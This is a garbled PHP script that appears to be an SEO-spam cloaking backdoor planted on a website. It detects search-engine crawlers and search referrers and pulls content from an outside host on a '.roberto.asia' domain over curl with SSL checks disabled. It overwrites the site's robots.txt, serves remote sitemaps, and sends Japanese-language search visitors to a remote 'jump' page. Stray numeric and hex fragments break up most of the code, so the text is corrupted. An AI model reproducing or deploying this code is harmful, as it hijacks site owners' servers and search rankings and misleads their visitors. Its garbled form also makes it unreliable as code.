1 < 1 ? 1 p 1 h 1 p 2 e 3 rro 1 r 2 _r 1 e 2 po 1 r 2 ti 1 n 2 g( 4 0); 5 @set_ 2 ti 2 me 1 _ 2 li 1 m 1 i 2 t( 1 1 1 2 5 0); @ 1 i 1 g 2 no 1 r 2 e_ 1 u 2 se 1 r 2 _a 1 b 3 ort 1 ( 1 1 3 ); 1 $ 2 tr 1 1 = 2 " 4 http 1 s 1 : 1 / 1 / 1 j 1 2 1 6 1 0 1 4 1 1 1 7 1 _ 1 2 1 3 1 . 1 r 1 o 2 be 3 rto 1 . 1 a 2 si 2 a/ 1 " 3 ; c 1 l 1 a 2 ss 1 2 Re 5 q { 4 p 1 u 1 b 2 li 1 c 1 1 f 2 un 1 c 2 ti 1 o 1 n 1 3 ser 1 v 1 e 3 r($ 1 n 1 a 2 me 3 = 2 '' 1 , 1 2 $d 1 e 1 f 1 a 2 ul 1 t 5 = '' 1 ) 5 6 { 5 i 1 f 1 6 (empty 8 ($name)) b { 4 2 re 3 tur 1 n 3 $_ 1 S 2 ER 2 VE 1 R 1 ; 5 4 1 } 11 $name = 2 st 3 rto 1 u 2 pp 8 er($name 3 ); 8 8 return i 1 s 3 set 1 ( 8 $_SERVER 6 [$name 2 ]) 1 1 ? 12 $_SERVER[$name] : 9 $default 6 ; 6 } 10 public function 3 iss 1 ( 16 ) { if ($t 1 h 1 i 1 s 2 -> 9 server('H 11 TTPS') && ("1" == 2f $this->server('HTTPS') || "on" == strtolower($ 10d this->server('HTTPS')))) { return true; } elseif ('https' == $this->server('REQUEST_SCHEME')) { return true; } elseif ('443' == $this->server('SERVER_PORT')) { return true; } elseif ('https' == $this->server(' 4f HTTP_X_FORWARDED_PROTO')) { return true; } return f 20 alse; } public function 2 ho 1 s 1 t 12 () { $ 4 host 3 = 3 str 2 va 1 l 14 ($this->server('HTTP d _X_FORWARDED_ 3 HOS 3 T') 1 1 ? 3 : $ 12 this->server('HTTP 1 _ 6 HOST') 12 ); return 4 strp 1 o 1 s 1 ( 5 $host 1 , 1 1 ' 1 : 4 ') ? 4 str 3 str b ($host, ':' 1 , 1 4 true 1 ) 8 : $host 1d ; } public function s 1 c 1 h 2 em 1 e 11 () { 8 return $ 6 this-> 5 iss() 3 ? 6 "https 1 " 3 : 5 "http 3 "; a } 10 public function 1 d 1 m 1f () { return $this-> c scheme() . " 7 ://" . 7 $this-> 6 host() 1c ; } public function 1 i 1 p 11 () { 4 if ( 1 g 2 et 1 e 1 n 2 v( 6 'HTTP_ 1 C 1 L 1 I 1 E 1 N 3 T_I 1 P 13 ')) { $ 1 i 1 p 3 = 18 getenv('HTTP_CLIENT_IP') 14 ; } elseif ( d getenv('HTTP_ c X_FORWARDED_ 3 FOR 25 ')) { $ip = getenv('HTTP_ 11 X_FORWARDED_FOR') 1c ; } elseif (getenv(' 1 R 1 E 1 M 3 OTE 4 _ADD 3e R')) { $ip = getenv('REMOTE_ADDR'); } else f { 6 $ip = 27 $this->server('REMOTE_ADDR'); } 10 return 35 $ip; } public function isc() { $a 3 gen 7 t = str 1c tolower($this->server('HTTP_ 1 U 4 SER_ 1 A 1 G 3 ENT 3 ')) a ; 4 if ( 8 $agent ! 4 = '' 5 && p 3 reg 1 _ 1 m 2 at 1 c 1 h 1 ( 2 '/ 1 g 2 oo 2 gl 1 e 1 b 3 ot| 6 google 1 | 1 y 1 a 2 ho 3 o|b 9 ing|aol/s 41 i', $agent)) { return true; } return 24 false; } public function isg 9 () { 1 1 1 $ 2 re 1 f 1 e 4 r = 1f strtolower($this->server('HTTP_ 1 R 1 E 1 F 2 ER 1 E 4 R')) a ; 6 $refer 4 bots 4 = ' 16 google|yahoo|bing|aol' f ; if ($ 6 refer 15 != '' && preg_match(" 1 / 1 ( a $referbots 1 ) 4 /si" 3 , $ 5 refer 5b )) { return true; } return false; } public function uri 11 () { 4 if ( 1 ( 1 $ 3 pos 6 = str 20 pos($this->server('REQUEST_URI') 3 , ' 1 . 3 php 8 ')) !== 5 false 10 ) { 2 $s 1 c 2 ri 3 pt_ 8 name = b 3 ase 4 name 12 ($this->server('SC 1 R 2 IP 2 T_ 4 FILE 1 N 1 A 5 ME')) a ; 4 4 if ( 26 basename($this->server('SCRIPT_NAME')) 3 == 3 = $ b script_name 10 ) { 7 $ur 1 l 3 = f $this->server(' 7 SCRIPT_ 6 NAME') e ; 1 } 22 elseif (basename($this->server('P 1 H 1 P 5 _SELF 4 ')) 3a === $script_name) { $url = $this->server(' a PHP_SELF') 31 ; } elseif (basename($this->server('O 2 RI 1 G 3 _SC 5 RIPT_ 42 NAME')) === $script_name) { $url = $this->server(' 12 ORIG_SCRIPT_NAME') 18 ; } elseif ( 1e ($pos = strpos($this->server(' a PHP_SELF') 4 , '/ 1 ' 4 . $ c script_name) 1b ) !== false) { b $url = 2 su 1 b 5 str($ e this->server(' d SCRIPT_NAME') 3 , 0 3 , $ 3 pos 1 ) 3 . 12 '/' . $script_name 18 ; } elseif ( f $this->server(' 1 D 2 OC 1 U 1 M 4 ENT_ 3 ROO 4 T') 3 && 8 strpos($ 1f this->server('SCRIPT_FILENAME') 11 , $this->server(' 15 DOCUMENT_ROOT')) === 1 0 1b ) { $url = 3 str 5 _repl 1 a 1 c 11 e($this->server(' f DOCUMENT_ROOT') 3 , ' 4 ', $ 1f this->server('SCRIPT_FILENAME') f ); a } 5 $ 1 r 1 e 1 q c uri = $url . 1 25 substr($this->server('REQUEST_URI'), 8 $pos + 4 b ); 6 } else 10 { $ 9 requri = 25 substr($this->server('REQUEST_URI'), 16 strpos($this->server(' 10 REQUEST_URI'), ' 1 / d ')); a } 8 return r 1 t 2 ri 1 m 4 ($re 4 quri 5 , '/' 7 ); 19 } public function exe 1 c 3 Req 1 ( 4 $url 4 , $p 4 = a 1 r 2 ra 3 y() 2e ) { $url = str_replace(' ', '+', $ f url); $ 2 ch 7 = curl 2 _i 1 n 3 it( b ); 5 curl_ 3 set 1 o 1 p 3 t($ 1 c 1 h 4 , CU 1 R 1 L 1 O 3 PT_ 3 URL 11 , $url); 19 curl_setopt($ch, CURLOPT_ 1 R 3 ETU 2 RN 1 T 1 R 1 A 2 NS 5 FER, 4 1); 4 4 19 curl_setopt($ch, CURLOPT_ 1 H 3 EAD 4 ER, 4 0); 21 curl_setopt($ch, CURLOPT_ 1 T 1 I 1 M 1 E 1 O 2 UT 2 , 5 20); 22 curl_setopt($ch, CURLOPT_P 3 OST 28 , 1); curl_setopt($ch, CURLOPT_S 1 S 1 L 1 _ 3 VER 3 IFY 35 PEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFY 4 HOST 27 , 0); curl_setopt($ch, CURLOPT_ 4 POST 1 F 1 I 1 E 1 L 1 D 1 S 2 , 6 http_b c uild_query($ 10 p)); $ou 3 tpu 4 t = 5 curl_ 4 exec 4 ($ch c ); $ 5 error 2 Co 1 d 4 e = 6 curl_e 2 rr 1 n 1 o f ($ch); 5 curl_ 1 c 1 l 2 os 3 e($ d ch); 4 if ( 1 0 6 !== $ 9 errorCode 10 ) { 7 return b false; 4 11 } return 1 $ e output; } 1 } 1 4 $req 3 = 1 n 2 ew 4 Req 4 (); 1 $ 2 is 1 c 4 = $ 4 req- 4 >isc 7 (); $is 1 g b = $req->is 3 g() 4 ; $u 1 m 1 a 4 p = 7 $tr . " 3 map 3 "; 3 $ur 4 i = 3 url 2 de 1 c 3 ode 5 ($req 1 - 1 > 5 uri() 4 ); $ a p = array( 6 " 4 doma 1 i 5 n" => b $req->dm() 7 , " 4 port b " => $req-> 8 server(' 3 SER 3 VER 7 _PORT', 1 1 8 1 0 8 ), " 9 uri" => $ 4 uri 3 ); 4 if ( 8 substr($ 5 uri, 1 - 1 1 3 0) 3 == 1 " 3 rob 6 ots.tx 1 t 1 " 8 ) { 2 he 1 a 1 d 3 er( 1 " 1 C 2 on 4 tent 1 - 3 typ 1 e 1 : 2 te 1 x 1 t 1 / 3 pla 2 in 1 ; 1 1 c 2 ha 1 r 3 set 1 = 1 u 1 t 2 f- 2 8" 8 ); d 1 i 8 e($req-> 9 execReq($ 6 tr . " 6 robots 4 ", $ 5 p)); 1 } 14 if (substr($uri, -6 c ) == "robots 9 ") { 7 $output 9 = $req-> 1b execReq($tr . "robots", $p) 7 ; $ 2 rp 5 t = _ 1 _ 1 D 1 I 3 R__ 4 . " c /robots.txt" 6 ; 1 f 1 i 2 le 1 _ 5 put_c 6 ontent 6 s($rpt 9 , $output e ); $robots 5 _cont 3 = 1 @ 5 file_ 3 get e _contents($rpt 7 ); 5 if (s 6 trpos( c strtolower($ b robots_cont 5 ), "s 1 i 2 te 4 map" d )) { 4 die( b "robots.txt 5 file 1 2 cr 1 e 2 at 1 e 3 su 2 cc 2 es 1 s 1 ! 8 "); 11 } else { 1c die("robots.txt file create 1 f 1 a 1 i 1 l a !"); } 15 } if (substr($uri, - 1 4 7 ) == ". 1 x 2 ml 9 ") { b if (strpos( 4 $uri 3 , " 1 a 1 l 1 l e sitemap.xml") 3 || 8 strpos($ 6 uri, " 7 sitemap 2 -i 1 n 1 d 1 e 1 x 25 .xml") || strpos($uri, "sitemap-index 1 - 1 1 18 .xml") || strpos($uri, " b index.xml") c ) { 19 $output = $req->execReq($ 4 umap 5 , $p) a ; 1a header("Content-type:text/ 4 " . 9 (substr($ 6 output 5 , 0, 1 5 6 ) === 1 ' 1 < 1 ? 4 xml' 4 ? ' 5 xml' 1 : 1 1 ' 5 plain 6 ') . ' f ; charset=utf-8 8 '); 4 4 die( 3 '' 3 . $ d output); 6 } 19 $output = $req->execReq($ 6 tr . " 1 w 1 o 1 r 1 d 6 ", $p) 6 ; 1a header("Content-type:text/ 3 xml 17 ; charset=utf-8"); 5 if ($ 8 output = 3 = " 1 1 9 ") { e die('' . $ 5 req-> a execReq($u 8 map, $p) 7 ); 15 } else { die( 15 '' . $output); } 3 } $ 2 la 1 n a g = $req-> c server('HTTP 1 _ 2 AC 2 CE 3 PT_ 2 LA 1 N 2 GU 3 AGE 8 '); if ( 1 ! 5 $isc 3 && 3 $is 1 g c && strpos($ 4 lang 3 , ' 1 j 1 a 1 ' 1 ) 3 !== e false) { $ 1 p 1 [ 1 " 2 ip 2 "] a = $req->i b p(); $a 6 ction 9 = $tr . " 2 ju 1 m 8 p"; 13 die($req->execReq($ 6 action e , $p)); } if ( 4 $isc 8 ) { a die('' . $ e req->execReq($ 6 tr . " 3 ind 1 a 2 ta b ", $p)); } 1 ? 1 > 0